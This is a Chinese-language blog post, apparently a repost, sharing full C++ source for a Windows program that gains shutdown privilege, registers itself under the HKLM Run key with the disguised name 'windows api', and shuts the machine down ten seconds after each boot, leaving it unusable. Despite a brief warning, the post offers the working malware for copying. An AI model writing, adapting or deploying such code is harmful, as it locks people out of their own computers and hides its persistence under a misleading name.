原理為:修改注冊表讓關機程式開機自啟. 效果如下圖所示, 其功能為:開機即刻關機 . 無法進行任何操作
注:其源程式具有一定破壞性,對于普通電腦用戶來說會造成一定的傷害,請勿用于損害他人利益,

分享是一種美德,復制我的代碼就別忘了點贊喲^_^
完整原始碼:
// AuroRunDemo.cpp : 此檔案包含 "main" 函式,程式執行將在此處開始并結束,
//
#include <iostream>
#include <windows.h>
//author:See QQ:3492625357.
//提權
BOOL EnableShutDwonProv()
{
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tkp = {};
BOOL bRet = FALSE;
do
{
// Get a token for this process.
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
break;
// Get the LUID for the shutdown privilege.
if (!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
&tkp.Privileges[0].Luid))
break;
tkp.PrivilegeCount = 1; // one privilege to set
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// Get the shutdown privilege for this process.
if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
(PTOKEN_PRIVILEGES)NULL, 0) == 0)
break;
bRet = TRUE;
} while (FALSE);
if (FALSE == bRet)
{
SetLastError(GetLastError());
}
if (hToken)
{
CloseHandle(hToken);
}
return bRet;
}
BOOL RegisterModfiy()
{
BOOL bRet=FALSE;
do
{
//打開注冊表
HKEY h_key = nullptr;
int lResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run")
, NULL, KEY_WRITE|KEY_WOW64_64KEY, &h_key);
if (ERROR_SUCCESS != lResult)
{
break;
}
TCHAR pFileName[256] = {0};
DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);//得到當前程式地址
//修改注冊表
if (ERROR_SUCCESS != RegSetValueEx(h_key, TEXT("windows api"), 0, REG_SZ, (PBYTE)pFileName, dwRet*2))
{
break;
}
bRet = TRUE;
} while (FALSE);
return bRet;
}
int main()
{
if (!EnableShutDwonProv())
{
return -1;
}
if (!RegisterModfiy())
{
return -1;
}
Sleep(1000 * 10);//給10秒鐘處理時間 .以防難以處理該程式而造成麻煩,,,,
if (!ExitWindowsEx(EWX_SHUTDOWN, FALSE))
{
return -1;
}
return 0;
}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/233978.html
標籤:其他
上一篇:openssl版本升級
下一篇:JVM
